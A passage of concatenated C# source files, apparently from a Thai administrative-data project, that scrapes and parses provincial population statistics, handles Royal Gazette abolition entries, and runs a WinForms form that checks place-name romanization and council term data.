/// </summary>
public event ProcessingFinishedHandler ProcessingFinished;
#endregion
#region constructor
public PopulationData(Int32 year, Int32 geocode)
{
Year = year;
_geocode = geocode;
Int32 yearShort = Year + 543 - 2500;
if ( (yearShort < 0) | (yearShort > 99) )
{
throw new ArgumentOutOfRangeException();
}
if ( (_geocode < 0) | (_geocode > 99) )
{
throw new ArgumentOutOfRangeException();
}
}
private PopulationData()
{
}
/// <summary>
/// Creates a new instance of <see cref="PopulationData"/> from a <see cref="PopulationDataEntry"/>.
/// </summary>
/// <param name="entry">Population data.</param>
/// <exception cref="ArgumentNullException"><paramref name="entry"/> is <c>null</c>.</exception>
/// <exception cref="ArgumentException"><paramref name="entry"/> is not the data of a province-like entity.</exception>
public PopulationData(PopulationDataEntry entry)
{
if ( entry == null )
{
throw new ArgumentNullException("entry");
}
if ( !EntityTypeHelper.IsCompatibleEntityType(entry.Type, EntityType.Changwat) )
{
throw new ArgumentException("entry", String.Format("{0} is an invalid type of base entry",entry.Type));
}
_geocode = entry.Geocode;
_changwat = entry;
}
#endregion
#region constants
private const String _tableEntryStart = "<td bgcolor=#fff9a4><font color=3617d2>";
private const String _tableDataStart = "<td bgcolor=#ffffcb align=right><font color=0000ff>";
private const String _tableBoldStart = "<b>";
private const String _tableBoldEnd = "</b>";
private const String _tableEntryEnd = "</font></td>";
// private const String _urlBase = "http://www.dopa.go.th/xstat/";
// private const String _urlBase = "http://172.16.31.10/xstat/";
private const String _urlBase = "http://stat.dopa.go.th/xstat/";
#endregion
#region methods
private void Download(String filename)
{
Stream outputStream = null;
try
{
WebClient webClient = new System.Net.WebClient();
Stream inputStream = webClient.OpenRead(_urlBase + filename);
outputStream = new FileStream(HtmlCacheFileName(filename), FileMode.CreateNew);
TambonHelper.StreamCopy(inputStream, outputStream);
outputStream.Flush();
}
finally
{
outputStream.Dispose();
}
}
private String HtmlCacheFileName(String fileName)
{
String directory = Path.Combine(GlobalSettings.HTMLCacheDir, "DOPA");
Directory.CreateDirectory(directory);
String result = Path.Combine(directory, fileName);
return result;
}
public String WikipediaReference()
{
StringBuilder lBuilder = new StringBuilder();
lBuilder.Append("<ref>{{cite web|url=");
lBuilder.Append(_urlBase + SourceFilename(1));
lBuilder.Append("|publisher=Department of Provincial Administration");
lBuilder.Append("|title=Population statistics ");
lBuilder.Append(Year.ToString());
lBuilder.Append("}}</ref>");
String lResult = lBuilder.ToString();
return lResult;
}
private Boolean IsCached(String fileName)
{
return File.Exists(HtmlCacheFileName(fileName));
}
private void ParseSingleFile(String filename)
{
if ( !_anythingCached )
{
if ( !IsCached(filename) )
{
Download(filename);
}
else
{
_anythingCached = true;
}
}
var lReader = new System.IO.StreamReader(HtmlCacheFileName(filename), TambonHelper.ThaiEncoding);
String lCurrentLine = String.Empty;
PopulationDataEntry lCurrentEntry = null;
int lDataState = 0;
while ( (lCurrentLine = lReader.ReadLine()) != null )
{
#region parse name
if ( lCurrentLine.StartsWith(_tableEntryStart) )
{
String lValue = StripTableHtmlFromLine(lCurrentLine);
lCurrentEntry = new PopulationDataEntry();
lCurrentEntry.ParseName(lValue);
if ( _changwat == null )
{
_changwat = lCurrentEntry;
}
else if ( (_currentSubEntry == null) | (EntityTypeHelper.SecondLevelEntity.Contains(lCurrentEntry.Type)) )
{
_changwat.SubEntities.Add(lCurrentEntry);
_currentSubEntry = lCurrentEntry;
}
else
{
_currentSubEntry.SubEntities.Add(lCurrentEntry);
}
lDataState = 0;
}
#endregion
#region parse population data
if ( lCurrentLine.StartsWith(_tableDataStart) )
{
if ( lCurrentEntry == null )
{
throw new ArgumentOutOfRangeException();
}
String lValue = StripTableHtmlFromLine(lCurrentLine);
if ( !String.IsNullOrEmpty(lValue) )
{
switch ( lDataState )
{
case 0:
lCurrentEntry.Male = Int32.Parse(lValue);
break;
case 1:
lCurrentEntry.Female = Int32.Parse(lValue);
break;
case 2:
lCurrentEntry.Total = Int32.Parse(lValue);
break;
case 3:
lCurrentEntry.Households = Int32.Parse(lValue);
break;
default:
throw new ArgumentOutOfRangeException();
}
}
lDataState++;
}
#endregion
}
}
private String SourceFilename(Int16 page)
{
Int32 yearShort = Year + 543 - 2500;
if ( (yearShort < 0) | (yearShort > 99) )
{
throw new ArgumentOutOfRangeException();
}
if ( (_geocode < 0) | (_geocode > 99) )
{
throw new ArgumentOutOfRangeException();
}
StringBuilder builder = new StringBuilder();
builder.Append('p');
builder.Append(yearShort.ToString("D2"));
builder.Append(_geocode.ToString("D2"));
builder.Append('_');
builder.Append(page.ToString("D2"));
builder.Append(".html");
return builder.ToString();
}
protected void GetData()
{
Int16 count = 0;
try
{
while ( count < 99 )
{
count++;
ParseSingleFile(SourceFilename(count));
}
}
catch
{
// TODO: catch selectively the exception expected for HTTP not found/file not found
}
_currentSubEntry = null;
if ( _changwat != null )
{
_changwat.Geocode = _geocode;
}
}
private static String StripTableHtmlFromLine(String value)
{
string result = value;
result = result.Replace(_tableDataStart, "");
result = result.Replace(_tableEntryStart, "");
result = result.Replace(_tableBoldStart, "");
result = result.Replace(_tableBoldEnd, "");
result = result.Replace(_tableEntryEnd, "");
result = result.Replace(",", "");
result = result.Trim();
return result;
}
public static PopulationData Load(String fromFile)
{
StreamReader reader = null;
XmlDocument xmlDoc = null;
PopulationData result = null;
try
{
if ( !String.IsNullOrEmpty(fromFile) && File.Exists(fromFile) )
{
reader = new StreamReader(fromFile);
xmlDoc = new XmlDocument();
xmlDoc.LoadXml(reader.ReadToEnd());
result = PopulationData.Load(xmlDoc);
}
}
finally
{
if ( reader != null )
{
reader.Close();
}
}
return result;
}
protected void DoLoad(XmlNode node)
{
if ( node.Name == "entity" )
{
_changwat = PopulationDataEntry.Load(node);
}
else if ( node.Name == "thesaban" )
{
LoadXmlThesaban(node);
}
}
public static PopulationData Load(XmlNode node)
{
PopulationData result = null;
if ( node != null )
{
result = new PopulationData();
foreach ( XmlNode childNode in node.ChildNodes )
{
if ( childNode.Name == "year" )
{
result.Year = Convert.ToInt32(childNode.Attributes.GetNamedItem("value"));
foreach ( XmlNode llNode in childNode.ChildNodes )
result.DoLoad(llNode);
}
else
{
result.DoLoad(childNode);
}
}
}
if ( result._changwat != null )
{
result._geocode = result._changwat.Geocode;
}
return result;
}
private void LoadXmlThesaban(XmlNode node)
{
foreach ( XmlNode childNode in node.ChildNodes )
if ( childNode.Name == "entity" )
{
_thesaban.Add(PopulationDataEntry.Load(childNode));
}
}
public void ExportToXML(XmlNode node)
{
XmlDocument xmlDocument = TambonHelper.XmlDocumentFromNode(node);
var nodeYear = (XmlElement)xmlDocument.CreateNode("element", "year", "");
node.AppendChild(nodeYear);
nodeYear.SetAttribute("value", Year.ToString());
Data.ExportToXML(nodeYear);
var nodeThesaban = (XmlElement)xmlDocument.CreateNode("element", "thesaban", "");
nodeYear.AppendChild(nodeThesaban);
foreach ( PopulationDataEntry entity in _thesaban )
{
entity.ExportToXML(nodeThesaban);
}
}
protected void GetGeocodes()
{
if ( _changwat != null )
{
PopulationData geocodes = TambonHelper.GetGeocodeList(_changwat.Geocode);
_invalidGeocodes = geocodes.Data.InvalidGeocodeEntries();
Data.GetCodes(geocodes.Data);
}
}
public String XmlExportFileName()
{
String result = String.Empty;
if ( _changwat != null )
{
String outputDirectory = Path.Combine(GlobalSettings.XMLOutputDir, "DOPA");
Directory.CreateDirectory(outputDirectory);
result = Path.Combine(outputDirectory, "population" + _changwat.Geocode.ToString("D2") + " " + Year.ToString() + ".XML");
}
return result;
}
public void SaveXml()
{
XmlDocument xmlDocument = new XmlDocument();
ExportToXML(xmlDocument);
xmlDocument.Save(XmlExportFileName());
}
public void ReOrderThesaban()
{
if ( _changwat != null )
{
foreach ( PopulationDataEntry entity in _changwat.SubEntities )
{
if ( entity != null )
{
if ( EntityTypeHelper.Thesaban.Contains(entity.Type) | EntityTypeHelper.Sakha.Contains(entity.Type) )
{
_thesaban.Add(entity);
}
}
}
foreach ( PopulationDataEntry thesaban in _thesaban )
{
_changwat.SubEntities.Remove(thesaban);
}
foreach ( PopulationDataEntry thesaban in _thesaban )
{
if ( thesaban.SubEntities.Any() )
{
foreach ( PopulationDataEntry tambon in thesaban.SubEntities )
{
_changwat.AddTambonInThesabanToAmphoe(tambon, thesaban);
}
}
}
foreach ( PopulationDataEntry entity in _changwat.SubEntities )
{
if ( entity != null )
{
entity.SortSubEntitiesByGeocode();
}
}
}
}
private void ProcessAllProvinces()
{
PopulationDataEntry data = new PopulationDataEntry();
foreach ( PopulationDataEntry entry in TambonHelper.ProvinceGeocodes )
{
PopulationData tempCalculator = new PopulationData(Year, entry.Geocode);
tempCalculator.Process();
data.SubEntities.Add(tempCalculator.Data);
}
data.CalculateNumbersFromSubEntities();
_changwat = data;
}
private void ProcessProvince(Int32 geocode)
{
GetData();
// sort Tambon by Population, to avoid double entries in 2012 data to create big mistakes
if (Data != null)
{
foreach (var amphoe in Data.SubEntities)
{
amphoe.SubEntities.Sort(delegate(PopulationDataEntry p1, PopulationDataEntry p2) { return -p1.Total.CompareTo(p2.Total); });
}
}
GetGeocodes();
ReOrderThesaban();
}
public void Process()
{
if ( _geocode == 0 )
{
ProcessAllProvinces();
}
else
{
ProcessProvince(_geocode);
}
OnProcessingFinished(new PopulationDataEventArgs(this));
}
private void OnProcessingFinished(PopulationDataEventArgs e)
{
if ( ProcessingFinished != null )
{
ProcessingFinished(this, e);
}
}
public List<PopulationDataEntry> EntitiesWithInvalidGeocode()
{
return _invalidGeocodes;
}
public List<Tuple<PopulationDataEntry,Int32>> EntitiesWithoutGeocode()
{
var result = new List<Tuple<PopulationDataEntry, Int32>>();
if ( _changwat != null )
{
PopulationDataEntry.PopulationDataEntryEvent addToResult = delegate(PopulationDataEntry value, PopulationDataEntry parent)
{
if (parent == null)
{
result.Add(Tuple.Create(value, 0));
}
else
{
result.Add(Tuple.Create(value, parent.Geocode));
}
};
_changwat.IterateEntitiesWithoutGeocode(addToResult,_changwat);
foreach ( PopulationDataEntry thesaban in _thesaban )
{
thesaban.IterateEntitiesWithoutGeocode(addToResult,_changwat);
}
}
return result;
}
#endregion
}
}
<file_sep>/AHTambon/RoyalGazetteContentAbolish.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentAbolish:RoyalGazetteContent
{
internal const String XmlLabel = "abolish";
#region properties
private EntityType mStatus = EntityType.Unknown;
public EntityType Status
{
get { return mStatus; }
set { mStatus = value; }
}
public Int32 NewParent { get; set; }
public List<RoyalGazetteContent> SubEntities
{
get { return mSubEntries; }
}
#endregion
internal override void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
String s = TambonHelper.GetAttributeOptionalString(iNode, "type");
if (!String.IsNullOrEmpty(s))
{
Status = (EntityType)Enum.Parse(typeof(EntityType), s);
}
NewParent = TambonHelper.GetAttributeOptionalInt(iNode, "parent",0);
foreach (XmlNode lNode in iNode.ChildNodes)
{
if (lNode.Name == RoyalGazetteContentReassign.XmlLabel)
{
var lContent = new RoyalGazetteContentReassign();
lContent.DoLoad(lNode);
mSubEntries.Add(lContent);
}
}
}
}
protected override String GetXmlLabel()
{
return XmlLabel;
}
protected override void DoCopy(RoyalGazetteContent iOther)
{
if (iOther != null)
{
base.DoCopy(iOther);
if (iOther is RoyalGazetteContentAbolish)
{
RoyalGazetteContentAbolish iOtherAbolish = (RoyalGazetteContentAbolish)iOther;
Status = iOtherAbolish.Status;
NewParent = iOtherAbolish.NewParent;
Name = iOtherAbolish.Name;
English = iOtherAbolish.English;
}
}
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (Status != EntityType.Unknown)
{
iElement.SetAttribute("type", Status.ToString());
}
if (NewParent != 0)
{
iElement.SetAttribute("parent", NewParent.ToString());
}
if (!String.IsNullOrEmpty(Name))
{
iElement.SetAttribute("name", Name);
}
if (!String.IsNullOrEmpty(English))
{
iElement.SetAttribute("name", English);
}
}
}
}
<file_sep>/TambonUI/MainForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Configuration;
using System.Data;
using System.Drawing;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Xml.Serialization;
using De.AHoerstemeier.Tambon;
namespace De.AHoerstemeier.Tambon.UI
{
public partial class MainForm : Form
{
/// <summary>
/// Directory to find the DOPA age table source files.
/// </summary>
private String _ageDataDirectory;
public MainForm()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
GlobalData.LoadBasicGeocodeList();
FillChangwatDropDown();
edtYear.Maximum = GlobalData.PopulationStatisticMaxYear;
edtYear.Minimum = GlobalData.PopulationStatisticMinYear;
edtYear.Value = edtYear.Maximum;
cbxCensusYears.SelectedItem = cbxCensusYears.Items[0];
// change to real settings
//PopulationDataDownloader.CacheDirectory=Path.GetDirectoryName(Application.ExecutablePath) + "\\cache\\";
//PopulationDataDownloader.OutputDirectory = Path.GetDirectoryName(Application.ExecutablePath) + "\\output\\";
var xmlOutputDirectory = ConfigurationManager.AppSettings["XmlOutputDirectory"];
PopulationDataDownloader.OutputDirectory = xmlOutputDirectory;
_ageDataDirectory = ConfigurationManager.AppSettings["AgeDataDirectory"];
PopulationDataDownloader.OutputDirectory = xmlOutputDirectory;
var pdfDirectory = ConfigurationManager.AppSettings["PdfDirectory"];
if ( !String.IsNullOrEmpty(pdfDirectory) )
{
GlobalData.PdfDirectory = pdfDirectory;
}
Boolean allowTestFeatures = false;
try
{
var allowTestFeaturesConfig = ConfigurationManager.AppSettings["AllowTestFeatures"];
allowTestFeatures = Convert.ToBoolean(allowTestFeaturesConfig);
}
catch ( FormatException )
{
}
grpTesting.Enabled = allowTestFeatures;
}
private void FillChangwatDropDown()
{
cbxChangwat.Items.Clear();
foreach ( var entry in GlobalData.Provinces )
{
cbxChangwat.Items.Add(entry);
if ( entry.geocode == GlobalData.PreferredProvinceGeocode )
{
cbxChangwat.SelectedItem = entry;
}
}
}
private void btnCheckNames_Click(object sender, EventArgs e)
{
var romanizationMissing = new List<RomanizationEntry>();
var country = new Entity();
foreach ( var province in GlobalData.Provinces )
{
var provinceData = GlobalData.GetGeocodeList(province.geocode);
country.entity.Add(provinceData);
}
var allEntities = country.FlatList();
Int32 numberOfEntities = allEntities.Count();
var romanizator = new Romanization();
romanizator.Initialize(allEntities);
var romanizations = romanizator.Romanizations;
var romanizationMistakes = romanizator.RomanizationMistakes;
var romanizationSuggestions = romanizator.FindRomanizationSuggestions(out romanizationMissing, allEntities);
UInt32 provinceFilter = 0;
//if ( cbxCheckNamesFiltered.Checked )
//{
// provinceFilter = GetCurrentChangwat().Geocode;
//}
StringBuilder romanizationMistakesBuilder = new StringBuilder();
Int32 romanizationMistakeCount = 0;
foreach ( var entry in romanizationMistakes )
{
if ( GeocodeHelper.IsBaseGeocode(provinceFilter, entry.Key.Geocode) )
{
romanizationMistakesBuilder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "{0} {1}: {2} vs. {3}", entry.Key.Geocode, entry.Key.Name, entry.Key.English, entry.Value));
romanizationMistakeCount++;
}
}
if ( romanizationMistakeCount > 0 )
{
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Romanization problems ({0})", romanizationMistakeCount),
romanizationMistakesBuilder.ToString());
displayForm.Show();
}
StringBuilder romanizationSuggestionBuilder = new StringBuilder();
Int32 romanizationSuggestionCount = 0;
foreach ( var entry in romanizationSuggestions )
{
if ( GeocodeHelper.IsBaseGeocode(provinceFilter, entry.Geocode) )
{
var entity = allEntities.FirstOrDefault(x => x.geocode == entry.Geocode);
var suggestedName = entry.English;
romanizationSuggestionBuilder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "<entity type=\"{0}\" geocode=\"{1}\" name=\"{2}\" english=\"{3}\" />", entity.type, entity.geocode, entity.name, suggestedName));
romanizationSuggestionCount++;
}
}
if ( romanizationSuggestionCount > 0 )
{
var form = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Romanization suggestions ({0}", romanizationSuggestionCount), romanizationSuggestionBuilder.ToString());
form.Show();
List<Tuple<String, String, Int32>> counter = new List<Tuple<String, String, Int32>>();
foreach ( var entry in romanizationSuggestions )
{
var found = counter.FirstOrDefault(x => x.Item1 == entry.Name);
if ( found == null )
{
counter.Add(Tuple.Create(entry.Name, entry.English, 1));
}
else
{
counter.Remove(found);
counter.Add(Tuple.Create(entry.Name, entry.English, found.Item3 + 1));
}
}
counter.RemoveAll(x => x.Item3 < 2);
if ( counter.Any() )
{
counter.Sort(delegate (Tuple<String, String, Int32> p1, Tuple<String, String, Int32> p2)
{
return (p2.Item3.CompareTo(p1.Item3));
});
Int32 suggestionCounter = 0;
StringBuilder sortedBuilder = new StringBuilder();
foreach ( var entry in counter )
{
sortedBuilder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "{0}: {1} ({2})", entry.Item1, entry.Item2, entry.Item3));
suggestionCounter += entry.Item3;
}
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Romanization suggestions ({0} of {1})", suggestionCounter, romanizationSuggestionCount), sortedBuilder.ToString());
displayForm.Show();
}
}
// show missing romanizations
if ( romanizationMissing.Any() )
{
List<Tuple<String, Int32>> counter = new List<Tuple<String, Int32>>();
foreach ( var entry in romanizationMissing )
{
var found = counter.FirstOrDefault(x => x.Item1 == entry.Name);
if ( found == null )
{
counter.Add(Tuple.Create(entry.Name, 1));
}
else
{
counter.Remove(found);
counter.Add(Tuple.Create(entry.Name, found.Item2 + 1));
}
}
// counter.RemoveAll(x => x.Item2 < 2);
if ( counter.Any() )
{
counter.Sort(delegate (Tuple<String, Int32> p1, Tuple<String, Int32> p2)
{
var result = p2.Item2.CompareTo(p1.Item2);
if ( result == 0 )
{
result = p2.Item1.CompareTo(p1.Item1);
}
return result;
});
Int32 missingCounter = 0;
StringBuilder sortedBuilder = new StringBuilder();
foreach ( var entry in counter )
{
sortedBuilder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "{0}: {1}", entry.Item1, entry.Item2));
missingCounter += entry.Item2;
}
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Romanization missing ({0} of {1})", romanizationMissing.Count, numberOfEntities), sortedBuilder.ToString());
displayForm.Show();
}
}
var allMuban = allEntities.Where(x => x.type == EntityType.Muban);
StringBuilder mubanBuilder = new StringBuilder();
Int32 mubanIssues = 0;
var mubanNotStartingWithBan = allMuban.Where(x => !String.IsNullOrEmpty(x.english) && !x.english.StartsWith("Ban "));
var mubanNotStartingWithBanInThai = allMuban.Where(x => !String.IsNullOrEmpty(x.name) && !x.name.StartsWith("บ้าน"));
var mubanWithWrongCapitalization = allMuban.Where(x => !String.IsNullOrEmpty(x.english) && x.english.Split(' ').Any(y => y.Length > 0 && (Char.IsLower(y[0]) && !y.StartsWith("km"))));
if ( mubanNotStartingWithBan.Any() )
{
mubanBuilder.AppendLine("Not starting with Ban:");
foreach ( var entry in mubanNotStartingWithBan )
{
mubanBuilder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "{0}: {1} ({2})", entry.geocode, entry.english, entry.name));
mubanIssues++;
}
mubanBuilder.AppendLine();
}
if ( mubanNotStartingWithBanInThai.Any() )
{
mubanBuilder.AppendLine("Not starting with บ้าน:");
foreach ( var entry in mubanNotStartingWithBanInThai )
{
mubanBuilder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "{0}: {1}", entry.geocode, entry.name));
mubanIssues++;
}
mubanBuilder.AppendLine();
}
if ( mubanWithWrongCapitalization.Any() )
{
mubanBuilder.AppendLine("Invalid lower-case letters in romanized name:");
foreach ( var entry in mubanWithWrongCapitalization )
{
mubanBuilder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "{0}: {1}", entry.geocode, entry.english));
mubanIssues++;
}
mubanBuilder.AppendLine();
}
if ( mubanIssues > 0 )
{
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Muban name issues ({0} of {1})", mubanIssues, allMuban.Count()), mubanBuilder.ToString());
displayForm.Show();
}
}
private void btnCheckTerms_Click(object sender, EventArgs e)
{
var itemsWithInvalidCouncilTerms = new List<Entity>();
var itemsWithInvalidOfficialTerms = new List<Entity>();
var itemsWithoutAnyCouncilTerms = new List<Entity>();
var itemsWithUnexplainedCouncilSizeChanges = new List<Entity>();
foreach ( var changwat in GlobalData.Provinces )
{
var itemsWithInvalidCouncilTermsInChangwat = EntitiesWithInvalidCouncilTerms(changwat.geocode);
var itemsWithoutAnyCouncilTermsInChangwat = EntitiesWithoutAnyCouncilTerms(changwat.geocode);
var itemsWithInvalidOfficialTermsInChangwat = EntitiesWithInvalidElectedOfficialsTerms(changwat.geocode);
itemsWithInvalidCouncilTerms.AddRange(itemsWithInvalidCouncilTermsInChangwat);
itemsWithInvalidOfficialTerms.AddRange(itemsWithInvalidOfficialTermsInChangwat);
itemsWithoutAnyCouncilTerms.AddRange(itemsWithoutAnyCouncilTermsInChangwat);
itemsWithUnexplainedCouncilSizeChanges.AddRange(GlobalData.GetGeocodeList(changwat.geocode).FlatList().Where(entity => entity.office.Any(office => office.council.CouncilTerms.Any(term => term.sizechangereason == CouncilSizeChangeReason.Unknown))));
}
var builder = new StringBuilder();
Int32 count = 0;
if ( itemsWithInvalidCouncilTerms.Any() )
{
builder.AppendLine("Council term problems:");
foreach ( var item in itemsWithInvalidCouncilTerms )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1})", item.english, item.geocode);
builder.AppendLine();
count++;
}
builder.AppendLine();
}
if ( itemsWithInvalidOfficialTerms.Any() )
{
builder.AppendLine("Official term problems:");
foreach ( var item in itemsWithInvalidOfficialTerms )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1})", item.english, item.geocode);
builder.AppendLine();
count++;
}
builder.AppendLine();
}
if ( itemsWithoutAnyCouncilTerms.Any() )
{
builder.AppendLine("No term at all:");
foreach ( var item in itemsWithoutAnyCouncilTerms )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1})", item.english, item.geocode);
builder.AppendLine();
count++;
}
builder.AppendLine();
}
if ( itemsWithUnexplainedCouncilSizeChanges.Any() )
{
builder.AppendLine("Unexplained council size changes:");
foreach ( var item in itemsWithUnexplainedCouncilSizeChanges )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1})", item.english, item.geocode);
builder.AppendLine();
count++;
}
builder.AppendLine();
}
if ( count > 0 )
{
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Invalid terms ({0})", count), builder.ToString());
displayForm.Show();
}
}
private static IEnumerable<EntityTermEnd> EntitiesWithCouncilTermEndInYear(UInt32 changwatGeocode, Int32 year)
{
return EntitiesWithCouncilTermEndInTimeSpan(changwatGeocode, new DateTime(year, 1, 1), new DateTime(year, 12, 31));
}
private static IEnumerable<EntityTermEnd> EntitiesWithCouncilTermEndInTimeSpan(UInt32 changwatGeocode, DateTime begin, DateTime end)
{
Entity entity;
if ( changwatGeocode == 0 )
{
entity = GlobalData.CompleteGeocodeList();
}
else
{
entity = GlobalData.GetGeocodeList(changwatGeocode);
}
return entity.EntitiesWithCouncilTermEndInTimeSpan(begin, end);
}
private static IEnumerable<Entity> EntitiesWithOfficialTermEndInYear(UInt32 changwatGeocode, Int32 year)
{
return EntitiesWithOfficialTermEndInTimeSpan(changwatGeocode, new DateTime(year, 1, 1), new DateTime(year, 12, 31));
}
private static IEnumerable<Entity> EntitiesWithOfficialTermEndInTimeSpan(UInt32 changwatGeocode, DateTime begin, DateTime end)
{
var result = new List<Entity>();
Entity entity;
if ( changwatGeocode == 0 )
{
entity = GlobalData.CompleteGeocodeList();
}
else
{
entity = GlobalData.GetGeocodeList(changwatGeocode);
}
foreach ( var item in entity.FlatList() )
{
foreach ( var office in item.office )
{
office.officials.SortByDate();
var latestOfficial = office.officials.OfficialTerms.LastOrDefault();
if ( latestOfficial != null )
{
DateTime termEnd;
if ( latestOfficial.endSpecified )
{
termEnd = latestOfficial.end;
}
else
{
termEnd = latestOfficial.begin.AddYears(4).AddDays(-1);
}
if ( (termEnd.CompareTo(begin) >= 0) & (termEnd.CompareTo(end) <= 0) )
{
var addOfficial = true;
if ( latestOfficial.EndYear > 0 )
{
if ( (begin.Year > latestOfficial.EndYear) | (end.Year < latestOfficial.EndYear) )
{
addOfficial = false;
}
}
if ( addOfficial )
result.Add(item);
}
}
}
}
return result;
}
private static IEnumerable<Entity> EntitiesWithoutAnyCouncilTerms(UInt32 changwatGeocode)
{
var result = new List<Entity>();
Entity entity;
if ( changwatGeocode == 0 )
{
entity = GlobalData.CompleteGeocodeList();
}
else
{
entity = GlobalData.GetGeocodeList(changwatGeocode);
}
foreach ( var item in entity.FlatList() )
{
foreach ( var office in item.office )
{
if ( office.type == OfficeType.MunicipalityOffice | office.type == OfficeType.TAOOffice | office.type == OfficeType.PAOOffice )
{
if ( !office.obsolete & !office.council.CouncilTerms.Any() )
{
result.Add(item);
}
}
}
}
return result;
}
/// <summary>
/// Gets all entities within one province which have anything wrong with their council terms.
/// </summary>
/// <param name="changwatGeocode">Geocode of the province to check.</param>
/// <returns>List of entities with invalid council terms.</returns>
private static IEnumerable<Entity> EntitiesWithInvalidCouncilTerms(UInt32 changwatGeocode)
{
var result = new List<Entity>();
Entity entity;
if ( changwatGeocode == 0 )
{
entity = GlobalData.CompleteGeocodeList();
}
else
{
entity = GlobalData.GetGeocodeList(changwatGeocode);
}
foreach ( var item in entity.FlatList() )
{
Boolean hasInvalidTermData = false;
foreach ( var office in item.office )
{
office.council.SortByDate();
CouncilTerm lastTerm = null;
foreach ( var term in office.council.CouncilTerms )
{
hasInvalidTermData = hasInvalidTermData | !term.CouncilSizeValid | !term.TermLengthValid(term.type.TermLength()) | !term.TermDatesValid;
if ( lastTerm != null )
{
if ( lastTerm.endSpecified )
{
hasInvalidTermData = hasInvalidTermData | lastTerm.end.CompareTo(term.begin) > 0;
}
if ( (term.size != term.FinalSize) & (term.sizechangereason == CouncilSizeChangeReason.NoChange) )
{
hasInvalidTermData = true;
}
if ( (term.type == EntityType.PAO) & (lastTerm.size > 0) & (term.size > 0) )
{
if ( (term.size != term.FinalSize) & (term.sizechangereason == CouncilSizeChangeReason.NoChange) )
{
hasInvalidTermData = hasInvalidTermData | lastTerm.FinalSize != term.size;
}
}
if ( (lastTerm.type == EntityType.TAO) & (term.type == EntityType.TAO) & (lastTerm.size > 0) & (term.size > 0) )
{
if ( (term.sizechangereason == CouncilSizeChangeReason.NoChange) )
{
hasInvalidTermData = hasInvalidTermData | lastTerm.FinalSize != term.size;
}
}
}
lastTerm = term;
}
}
if ( hasInvalidTermData )
{
result.Add(item);
}
}
return result;
}
/// <summary>
/// Gets all entities within one province which have anything wrong with their elected officials.
/// </summary>
/// <param name="changwatGeocode">Geocode of the province to check.</param>
/// <returns>List of entities with invalid council terms.</returns>
private static IEnumerable<Entity> EntitiesWithInvalidElectedOfficialsTerms(UInt32 changwatGeocode)
{
var result = new List<Entity>();
Entity entity;
if ( changwatGeocode == 0 )
{
entity = GlobalData.CompleteGeocodeList();
}
else
{
entity = GlobalData.GetGeocodeList(changwatGeocode);
}
foreach ( var item in entity.FlatList() )
{
Boolean hasInvalidTermData = false;
foreach ( var office in item.office )
{
var electedOfficials = office.officials.OfficialTerms.Where(x => (x.title == OfficialType.TAOMayor | x.title == OfficialType.Mayor | x.title == OfficialType.PAOChairman)).ToList();
electedOfficials.RemoveAll(x => !x.beginSpecified);
electedOfficials.Sort((x, y) => x.begin.CompareTo(y.begin));
OfficialEntryBase lastOfficialTerm = null;
foreach ( var official in electedOfficials )
{
hasInvalidTermData = hasInvalidTermData | !official.TermLengthValid(4) | !official.TermDatesValid;
if ( lastOfficialTerm != null )
{
if ( lastOfficialTerm.endSpecified & official.beginSpecified )
{
hasInvalidTermData = hasInvalidTermData | lastOfficialTerm.end.CompareTo(official.begin) > 0;
}
}
lastOfficialTerm = official;
}
}
if ( hasInvalidTermData )
{
result.Add(item);
}
}
return result;
}
private Entity ActiveProvince()
{
var selectedItem = cbxChangwat.SelectedItem as Entity;
return GlobalData.GetGeocodeList(selectedItem.geocode);
}
private void btnCreationStatistics_Click(object sender, EventArgs e)
{
var form = new CreationStatisticForm();
form.Show();
}
private void btnGazetteLoadAll_Click(object sender, EventArgs e)
{
GlobalData.AllGazetteAnnouncements.entry.Clear();
String searchPath = Path.Combine(Application.StartupPath, "gazette");
if ( Directory.Exists(searchPath) )
{
foreach ( string fileName in Directory.GetFiles(searchPath, "Gazette*.XML") )
{
using ( var filestream = new FileStream(fileName, FileMode.Open, FileAccess.Read) )
{
var currentGazetteList =
XmlManager.XmlToEntity<GazetteListFull>(filestream, new XmlSerializer(typeof(GazetteListFull)));
GlobalData.AllGazetteAnnouncements.entry.AddRange(currentGazetteList.AllGazetteEntries);
}
}
Boolean hasEntries = (GlobalData.AllGazetteAnnouncements.entry.Any());
btn_GazetteShow.Enabled = hasEntries;
btn_GazetteShowAll.Enabled = hasEntries;
var duplicateMentionedGeocodes = new List<UInt32>();
foreach ( var gazetteEntry in GlobalData.AllGazetteAnnouncements.AllGazetteEntries.Where(x => x.Items.Any(y => y is GazetteAreaDefinition)) )
{
var geocodesInAnnouncement = new List<UInt32>();
foreach ( GazetteAreaDefinition areadefinition in gazetteEntry.Items.Where(y => y is GazetteAreaDefinition) )
{
if ( geocodesInAnnouncement.Contains(areadefinition.geocode) )
{
duplicateMentionedGeocodes.Add(areadefinition.geocode);
}
geocodesInAnnouncement.Add(areadefinition.geocode);
